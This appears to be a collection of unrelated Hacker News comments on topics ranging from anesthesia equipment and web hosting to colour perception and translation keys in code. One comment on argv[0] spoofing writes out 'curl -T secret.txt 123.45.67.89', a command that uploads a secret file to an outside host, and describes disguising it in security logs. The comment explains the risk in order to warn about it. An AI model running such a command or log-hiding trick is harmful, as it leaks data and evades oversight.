Cool! Thanks for the perspective. They found a Vernitrol (basically copper kettle) at an older hospital I do a side gig at that was set up for cyclopropane and some other agent a few years ago; I pointed out that you could still do anesthesia with it today if you fixed a couple of broken pieces. Neat to look at even if it didn’t have the circular slide rule to determine through-kettle and bypass flows at each temperature.

I didn't see enough in that article to really say how they're doing. But, remember that when the key word is 'startup', not having enough to keep the lights on may be an accurate summary of how they're doing.

The fact remains that most startups aren't making much money at all.
The editor I'm using today updates itself from a global network of interconnected computers, using strong cryptography to ensure no one's tampered with it. It can download plugins from that same inter-net and has a sandbox that keeps malicious code from taking over the rest of its process space or accessing the filesystem. Some of those plugins make their own encrypted connections to distant computers. It displays its user interface on a truecolor screen across 2 2560x1440 monitors. It understands a huge number of programming languages and has advanced reformatting, error checking, syntax highlighting, search, building, testing, and reference-finding capabilities that can easily handle version controlled codebases with gigabytes of code. Because all its pointers are twice the size of those in older systems, I can open individual files many gigabytes in size.

Yeah, it's bigger than Emacs on a PDP-11. It does a whole lot more than Pico does, too.

Ask HN: How do I set up a personal website?
I have bought myself a domain and configured Cloudflare nameservers, but I have no clue what to do next. I have a lot of content written locally that I'd like to host somewhere I control rather than on GitHub Gists, Substack, Medium, or their like. I've seen several very beautifully-styled websites here, and I'd like to emulate them.

How and where do I host and serve my markup content? How about security and denial-of-service protection? How about automating updates by linking to a Git repository for styling and content? What about interactive functionality like comments with utteranc.es/giscus, MathJax, and RSS feeds? I realise there's a huge gap in my knowledge.
The author's extensive criticisms of using argv[0] are a distraction from the main point of the article:

Summary: By manipulating argv[0], a malicious program can hide what its doing in security logs. For example, a malicious program can make "curl -T secret.txt 123.45.67.89" look like "curl localhost | grep -T secret.txt 123.45.67.89" in security logs. A mallicious program can also use very large argv[0] values as a DOS attack on system logging; or to truncate malicious arguments.

IMO, operating systems should block this practice.

Unfortunately, the author's extensive criticism of programs reading argv[0] hurt the author's credibility before most people get to the real point of the article.
> Quantum field theory, the powerful framework of modern particle physics, says the universe is filled with fields. Examples include the electromagnetic field, the gravitational field and the Higgs field itself. For each field, there’s a corresponding type of particle, best understood as a little ripple in that field. The electromagnetic field’s ripples are light waves, and its gentlest ripples are the particles of light, which we call photons.

What are these fields made of? Are all fields made of the same thing(s), or is each field made differently?

In years of developing pretty complex products with gRPC I don't think we've ever run into an issue or sharp corner.

Having the libraries generating relatively optimized message parsers and server implementations and just throwing middlewares around them, with easy support for deprecating fields, enums, and a bunch of other goodies - all been a huge help and productivity gain. So much can be done by just understanding the gRPC config settings and throwing some bog-standard middlewares around things.
What's another example of cross-field interaction? Where (say) the EM field changes the restoring force of the gravitational field?
20 years ago now, Cinepaint and FilmGimp were forks of Gimp that supported 16bit color and were used in Hollywood for big budget movies, because they were the best software for the time. I was getting into photography about then, and was dealing with 16 bit images, and was looking at trying to install CinePaint. Unfortunately, CinePaint was still on Motif for widgets and wouldn't move over to GTK.

(Gimp started on Motif then created GTK, Cinepaint forked before GTK)

Gimp meanwhile took a long time to support 16-bit color. Here's a thread [1] from 2010 where one person admitted it would be 6-8 years.

I gave up and bought a really nice package for editing photos that wasn't subscription based.

It's the other way around - in hearing, phase is almost irrelevant. At medium frequencies, moving head by a few centimeters changes phase wand phase relationships of all frequencies - and we don't perceive it at all! Most audio synthesis methods work on variants of spectrograms and phase is approximated only later (mattering mostly for transients and rapid frequency content changes).

In images, scrambling phase yields a completely different image. A single edge will have the same spectral content as pink/brown~ish noise, but they look completely unlike one another.

This is a scourge across the country that, once again, reveals how regular citizens' lives are degraded at the behest of lobbyists.

While corporations buy up entire neighborhoods and take housing off the market essentially forever, states pass sham "pro-housing" measures that serve only developers' interests by vilifying "single-family" homes and targeting them for destruction. CA of course stands as a great example; it passed a couple of measures that allow one house to be knocked down and replaced with 10 units, with no approval needed or local review allowed.

And right behind corporate ownership is the scourge of HOAs. According to the U.S. Census, 82% of newly built homes sold in 2021 were a part of one of these scams.

You should take a step back and ask “am I actually muddying the water right now?”
You can estimate that if you can determine at which point the color becomes too ambiguous to call blue on one side, or green on the other. Different people will have a different range. If you want to identify a threshold, you can take the midpoint of the range.

Either of these approaches may be bad. The third paragraph of this page explains why:

https://en.wikipedia.org/wiki/Two-alternative_forced_choice

My suggested approach might not be much better though; it still relies on presenting a single stimulus.

It's not clear how the two-alternative forced choice can be used to find someone's blue-green threshold.

I think a better experiment would be to show the user gradients and ask them to move a bar to where they think is the midpoint in the blue-green transition. Subsequent gradients center on the user's previously identified midpoint, but zoom in more.

There is also this question: by which path do we interpolate from blue to green?

Let's imagine the CIELAB color space. Say that our pure green lies on the red-green axis, all the way on the green end. Blue lies on the extreme of blue-yellow. Do we interpolate through these linearly or what? And using what luminance value?

I suspect that for every given, fixed luminance value, the blue-green boundary is a contour. There are many paths we can take between blue and green, and along each path there is a boundary point. If we join those points we get this contour. Then if we do that for different luminance values, the contour becomes a 3D surface in the color space.
Show HN: I made a REST based alternative to GraphQL for PostgreSQL
Hi guys! I have had a love-hate relationship with GraphQL for a while and decided to build my own tool as a side project! It's a REST-based API generator that you can use to build and deploy on top of PostgreSQL. I am currently working on a GitHub integration so you can push your API directly to GitHub and deploy on your own infrastructure. The plan is to stabilize the features by December and then to open-source it. It's completely free to use since it's in beta, and I would appreciate any feedback I can get.

This was never worth it. From the beginning. Large corporations like Google try to lock developers into technology. They try to promote themselves as cool tech to job applicants. For example .NET from Microsoft, Swift from Apple, on and on. There are a few examples of good stuff coming out, but in general just say no...

And certainly if you want to get a job at one of these places, learn their technology, but then once even that company stops using it, where are you?

That's a different definition of efficient than efficient-market theory. The theory is about the efficiency of the value of assets in the market to new information. It isn't about the efficiency of the businesses in the market or the market overall. The stock market prices are efficient, not the stock market companies.

Efficient-market theory doesn't apply to startups because they aren't listed on the stock exchange. The theory doesn't apply to small number of investors like VCs. It definitely doesn't apply to the business of the startup, or to the reaction of the market to the startup. It does apply when the startup goes public.

My response was directed specifically at the OP's second question, about the "opposite" of impostor syndrome, and not the first one.

The dunning krugger effect is widely regarded as the polar opposite of it:

- "If the Dunning-Kruger effect is being overconfident in one's knowledge or performance, its polar opposite is imposter syndrome or the feeling that one is undeserving of success. People who have imposter syndrome are plagued by self-doubts and constantly feel like frauds who will be unmasked any second." [1]

- "This is the opposite to the Dunning-Kruger effect. The Imposter Syndrome is a cognitive bias where someone is unable to acknowledge their own competence. Even when they may have
multiple successes they struggle to attribute their success to internal factors." [2]

- "The opposite of the Peter Principle and Dunning-Kruger effect is the imposter syndrome. This is when smart, capable people underestimate their (...)" [3]

> I'd be interested to see someone do the analysis of what the optimal random-offset-selection algorithm would be to counter trivial adversarial choice

If you know your opponent picks a number uniformly from all numbers that lead to a maximum of guesses, the optimum strategy is a binary search between those numbers, making sure to pick one of those numbers at each turn.

The problem stays completely symmetric under this condition, so there would be two (maybe four due to edge conditions) optimal first guesses summing to 101.

In general, I think the trick still is a binary search where each guess splits the range of options in halves of equal expected/min/max cost (depending on whether you want to optimize for expected/min/max cost).

Forging photos before Photoshop was the work of nation states - and skepticism was low, a fabricated truth was readily accepted.

Photoshop _should_ have destroyed that, but the skill and time to fabricate truth was still high; skepticism remained low.

Now, with AI, the cost of fabricating truth is rapidly approaching zero. Within the last year, nearly everyone I talk to is skeptical of nearly everything. They see an image, or read an article, and wonder if they're being bamboozled.

I see this as a net positive. We are counterintuitively rediscovering skepticism by democratizing nation-state propaganda.

I believe this is a printing press moment, where truth will be spoken to power once again. I just hope we avoid the bloodshed that that the printing press wrought.

I work on a project where people decided to refer to translations by doing the equivalent of:

:label="$translate(getProductSectionLabel('title'))"

where the logic is a bit like:

const getProductSectionLabel = (code) => `myapp.sales.sections.products.${code}`

and then the actual values are in a nested structure, like:

myapp: {
sales: {
sections: {
products: {
title: "Products"
...
}
...
}
...
}
...
}

People seem to have gone for that because writing that first part is simpler within the component, but I couldn't get across that this makes the codebase harder to navigate.

Meanwhile, my personal codebases are more like:

:label"$translate('myapp-sales-products-title')"

and the translation file also has the equivalent of:

myapp-sales-products-title: "Products"

which is way simpler at the expense of some more duplication (easily mitigated by compressing the translations).
